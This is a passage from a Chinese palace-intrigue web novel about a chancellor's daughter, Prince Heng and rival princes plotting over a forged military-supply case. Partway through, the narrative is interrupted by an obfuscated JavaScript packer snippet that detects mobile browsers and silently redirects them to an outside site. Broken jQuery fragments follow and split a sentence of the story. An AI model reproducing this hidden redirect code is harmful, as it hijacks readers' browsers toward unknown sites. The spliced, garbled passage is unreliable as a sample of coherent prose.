皇城之中,各方势力仍在暗中较力,等待着那最终打破平衡的消息传来。风暴来临前的压抑,几乎令人窒息。
姜晚栀她在花园里心不在焉地喂鱼,姜丞相下朝回府,脸色似乎比往日更加凝重几分。路过花园时,看到女儿,便走了过来。
“晚栀。”
“爹?”
姜晚栀赶紧放下鱼食,乖乖站好。
姜丞相看着女儿,目光复杂,沉吟片刻,忽然问道:“你近日……可曾留意朝中之事?”
姜晚栀心里咯噔一下,强作镇定:“女儿……女儿在家养病,怎会留意朝事?爹为何突然这么问?”
姜丞相叹了口气,屏退了左右,低声道:“今日朝会上,为父一位在户部任职的门生,因核对三年前一桩旧案卷宗,竟无意中发现了一处蹊跷。此事……似乎隐隐与当前针对珩王殿下的某些指控有所牵连。”
姜晚栀的心脏猛地一跳!户部?三年前?旧案?她努力维持着表情的平静,甚至带上了一丝恰到好处的好奇:“哦?什么蹊跷?和珩王殿下有关?”
姜丞相目光如炬,仔细看着女儿的反应,见她似乎只是寻常好奇,才缓缓道:“具体细节不便多说。但此事若深究下去,恐怕……会掀起更大的风浪。那门生心中不安,特来禀告为父。”
他顿了顿,意味深长地看着姜晚栀:“晚栀,你与珩王殿下虽有婚约,但如今局势微妙,陛下心思难测。有些事,不知为妙,有些水,深不见底。我相府,当谨言慎行,明哲保身,切记,切记。”
姜承这番话,看似告诫女儿莫问朝政,实则信息量极大!
姜晚栀瞬间明白了!她的纸条起作用了!
珩王不仅看到了,还立刻行动了!
而且行动效率高得吓人,甚至连她爹都隐约察觉到了风声!
一股巨大的,难以言喻的兴奋和激动瞬间冲垮了之前的恐惧和后悔!
她成功了!
她居然真的撬动了这盘死棋!
虽然只是微不足道的一点,但证明她的方向是对的!
那座冰山,接收到了她的信号!
“爹,您放心!”姜晚栀立刻保证,眼睛亮晶晶的,语气却努力装得懵懂,“女儿什么都不知道,就在家喂鱼赏花,绝对不给爹惹麻烦!”
姜丞相看着女儿瞬间焕发出光彩,乖巧听话的小脸,欣慰地点点头,又嘱咐了几句,这才转身离开。
姜晚栀站在原地,激动得差点跳起来!她强忍着欢呼的冲动,对着池子里的锦鲤无声地傻笑。
太好了!冰山反派没黑化透!还有救!
然而,她并不知道,这场暗中的较量,远非她想象的那么简单。
…………
夜色深沉,某处隐秘的宅邸。
一盏昏黄的油灯下,几个人影正在低声密谈。“户部那边,似乎有人在暗中查三年前军械账目的事。”一个低沉的声音响起。
“哦?是谁的人?珩王的残余势力?还是……”另一个声音略显尖锐。
“不像。手法很老练,像是早就埋下的钉子,现在才启动。我们之前竟未全然察觉。”
“看来,我们这位九殿下,比想象中藏得更深。即便困于府中,爪牙依旧能伤人。”
“必须尽快掐断!那些经手的人,那些可能留下痕迹的档案……”
“来不及了。”第三个声音阴冷地打断,“对方动作很快,而且……似乎得到了某种意想不到的提示,直奔要害而去。我们之前做的伪装,恐怕撑不了多久。”一阵令人窒息的沉默。
良久,那个尖锐的声音再次响起,带着一丝狠毒:“既然他们想查,那就让他们查!正好,把线索引向我们该去的地方……”
“你的意思是?”
“别忘了,三年前那批军械的最终接收和分发,可是经了当时还是北境督粮官的……张的手。”
“张启明?他不是昭王……”
“哼!正因为他是昭王的人,这把火,才能烧得更旺,更乱!最好能让他们……狗咬狗!”
低沉的笑声在黑暗中回荡,充满了阴谋的味道。
“妙计!就这么办!立刻去安排,把证据做得更完美一些!”
灯火摇曳,映照出几张扭曲而贪婪的面孔。
一场祸水东引,挑动珩王与昭王相争的毒计,正在夜色中悄然酝酿。
棋局之上,落子无悔,真正的猎杀,才刚刚开始。
…………
珩王府的书房,静得能听见烛芯轻微的爆裂声。
宗政珩煜面前的书案上,铺陈着数张看似杂乱无章的纸条,上面记录着来自不同渠道,用不同暗语书写的信息。
若是有外人得见,定然一头雾水,但在他眼中,这些碎片正逐渐勾勒出一幅清晰的阴谋脉络图。
晏成垂手侍立,低声道:“殿下,综合各方回报,可以确认。三年前那批军械,拨付文书,押运记录乃至部分边境守将的签收单,确系伪造,手法极高明,几乎乱真。”
晏成继续说道:“但其最终入库记录与实物核对,则漏洞百出。伪造的核心环节,集中在兵部武库清吏司与北境督粮衙门之间的文书往来环节。”
宗政珩煜指尖点着案上一处记录:“武库清吏司郎中郭羿,北境督粮衙门主事张启明……这两个人,是关键节点。”
“是。郭羿是明王门人举荐上任,但平日行事谨慎,难以抓住把柄。张启明……”
晏成顿了顿,“此人曾是昭王殿下伴读,与昭王府关系匪浅,三年前调任北境督粮,去年才调回京中,现任兵部职方司员外郎。”
“昭王的人?”宗政珩煜眼中闪过一丝冷嘲,“本王这位好大哥,倒是会挑时候捡便宜,却不知自己也成了别人眼中的肥肉。”
很显然,明王一党不仅构陷了他,还埋下了指向昭王的暗线,意图挑起鹬蚌相争。
“殿下,如今证据虽指向郭羿,张启明,但皆为间接旁证,且极易被推翻。若要一击毙命,仍需更直接的铁证,或是……关键人证。”晏成分析道。
宗政珩煜沉默片刻,问道:“当年实际负责押运那批问题军械的将领,现在何处?”
“根据记录,主要负责押运的是一名姓周的校尉。但蹊跷的是,此人就在军械送达北境后不久,便在一次‘意外’的边境冲突中殉国了。其家眷也早在两年前便迁离原籍,不知所踪。”
死无对证。典型的灭口手段。
书房内陷入短暂的沉寂,对手的老辣和狠绝,超乎寻常。
就在这时,窗外传来极轻微的三长两短的鸟鸣声。晏成立刻警醒,无声地移至窗边,片刻后,带回一枚细小的竹管。
“殿下,是北境暗桩用最快速度传来的密信。”晏成的语气带着一丝凝重。
宗政珩煜接过竹管,取出内里的绢条,展开一看,瞳孔骤然收缩!
绢条上字数不多,却信息惊人:【三年前殉国周校尉之妻王氏,疑未死,化名藏匿于京郊阜南庄。或有隐情。】
峰回路转!
“阜南庄……”宗政珩煜指尖敲击桌面,立刻下令,“晏成,你亲自带一队绝对可靠的好手,秘密前往阜南庄,找到这个王氏!要活的,要快!绝不能惊动任何人!”
“是!”晏成领命,身影迅速消失在黑暗中。
人证若在,此局可破!宗政珩煜看着跳动的烛火,冰封的眼眸中,终于燃起一丝锐利的锋芒。
丞相府,晚栀阁
姜晚栀的兴奋劲儿没过两天,就被现实泼了一盆冷水。
那种被窥视的感觉非但没有消失,反而变本加厉。她甚至发现晚栀阁外院洒扫的婆子里,多了两个生面孔,眼神总是不安分地往她房里瞟。
她吓得彻底不敢再有什么小动作,连院子都少出,整日窝在房里,惴惴不安。春桃和秋菊也察觉到了异常,却不敢多问,只是伺候得更加小心翼翼。
这日午后,姜丞相再次来到晚栀阁,脸色比上次更加沉肃。
他屏退左右,看着明显有些惊惶的女儿,叹了口气:“晚栀,你近日……可曾遇到过什么异常之事?或……与什么特别的人接触过?”
姜晚栀心里咯噔一下,差点就把纸条的事说出来,但最终还是强忍着摇了摇头:“没、没有啊爹。女儿一直很安分。”
姜承目光如炬,缓缓道:“为父得到消息,似乎有一股不明的势力,正在暗中调查你。甚至可能……意图对你不利。”
姜晚栀瞬间脸色煞白!
“为父已加派了府中护卫,你近日绝对不要再私自出府!切记!”姜承的语气前所未有的严厉。
“朝堂之事,波谲云诡,远超你的想象。有些人,为了达到目的,无所不用其极。你与珩王的婚约,此刻或许已成了你的催命符!”
姜晚栀吓得眼泪都在眼眶里打转,声音发颤:“爹……我……我害怕……”
看着女儿吓得小脸惨白,姜承心中一软,语气缓和了些:“别怕,有爹在,绝不会让人伤你分毫。只是你定要听话,莫再招惹任何是非。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215483|181158||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他顿了顿,似是无意地提点了一句,“珩王殿下……非是池中之物,此番困局,未必能困他多久。在其脱困之前,你安然无恙,便是最好。”
这话像是在安慰,又像是在暗示着什么。
姜承离开后,姜晚栀抱着膝盖坐在榻上,心里乱成一团麻。
有人要对她不利?是因为她接近了珩王?还是因为她那莽撞的纸条被发现了?
巨大的恐惧包裹着她,但奇怪的是,在这恐惧之中,竟然又生出了一丝奇怪的念头:连爹爹都说珩王很厉害,那他一定能脱困的吧?只要他脱困了,是不是就没人敢害她了?
她对自己这种近乎本能的依赖感到惊讶。明明之前还怕他怕得要死。
昭王府
宗政昭然同样焦头烂额。他主动提请复核北境军备的奏疏递上去后,皇帝虽嘉奖了他的“公心”,却将核查之事交给了都察院和大理寺联合办理,并未让他直接插手!
这意味着调查将完全脱离他的掌控!
更让他不安的是,他派去暗中清理首尾的人回报,似乎还有另一股力量也在调查三年前的事,而且动作更快,更隐秘,甚至……已经开始触及一些他们之前未能完全抹平的痕迹。
“昭王殿下,情况不妙。”山羊胡幕僚脸色发白,“都察院那帮铁面阎王可不好糊弄!若是被他们先查到张启明头上,顺藤摸瓜……”
“闭嘴!”昭王烦躁地打断他,“张启明那个蠢货!当初办事就不够干净!立刻让他称病告假,闭门不出!把他经手的所有文书,不管有没有问题,全部重新核查一遍,有任何疑点,立刻销毁!绝不能留下任何把柄!”
“是!是!”幕僚连连擦汗。
“还有,”昭王眼中闪过狠色,“给宫里递话,让母妃想办法,务必让父皇知道,本王是因为忧心国事,担心有人借机构陷忠良,动摇国本,才不得已提请复核!要突出本王的无奈和委屈!”
他必须把自己塑造成受害者和顾全大局的形象。
暗处,明王的夜鹰阁势力也没闲着。
“殿下,昭王果然慌了,正在拼命掩盖痕迹。都察院和大理寺也已介入,调查方向正如我们所料,开始偏向昭王那边。”夜鹰阁副阁主影刹恭敬禀报。
宗政明尘满意地呷了一口酒:“很好。让他们斗去吧。珩王那边呢?有什么动静?”
“珩王府依旧沉寂。但我们监视丞相府的人回报,姜丞相似乎察觉到了我们对姜晚栀的注意,加强了相府守卫。”
“另外……我们安插在阜南庄附近的人发现,有一队身手极为了得的神秘人马,于昨夜秘密潜入了庄内,似乎在搜寻什么。”
“阜南庄?”宗政明尘放下酒杯,眉头微蹙。
“那里有什么?”他忽然想起什么,脸色微微一变,“难道是……周校尉的家眷?不是早就处理干净了吗?”
影刹低下头:“当时回报确是已处理。或有漏网之鱼?”
宗政明尘眼中瞬间涌起暴戾之色:“废物!立刻加派人手去阜南庄!若是我们的人先找到,格杀勿论!若是被别人先找到……不惜一切代价,抢回来!绝不能让活口落到别人手里!”
“是!”使者感受到主人的怒火,迅速领命而去。
宗政明尘站起身,在秘殿中烦躁地踱步。他感觉事情似乎有些脱离掌控。
珩王的反应比他预想的要快,要准!那个姜晚栀,难道真的起了关键作用?
“玥儿。”他忽然开口。
苏雨玥从阴影中走出:“明尘哥哥。”
“你确定,姜晚栀只是个无知蠢货?”宗政明尘目光锐利地盯着她。
苏雨玥心中一跳,面上却依旧柔顺,“她……她以往确是那般。但近来,似乎有些不同。或许是我们小瞧了她,又或许……是姜丞相知道了些什么,告诉了她?”她巧妙地将怀疑引向姜丞相。
那就宗政明尘冷哼一声:“不管是谁!既然她可能成了变数,那就不能再留着她安稳下去!想办法,给她点真正的教训,让她知道,有些浑水,不是她能蹚的!最好能让她彻底闭嘴,或者……让珩王为她自乱阵脚!”
苏雨玥眼中闪过一抹恶毒的快意,柔声道:“玥儿明白了。定会为明尘哥哥分忧。”
京郊,阜南庄。
夜色如墨,一场无声的追杀与反追杀,正在这个平静的小村庄里悄然上演。
晏成带领的精锐暗卫,与明王派出的夜鹰阁杀手,几乎同时锁定了那个藏匿在村庄最深处,以浣衣为生的哑寡妇,王氏。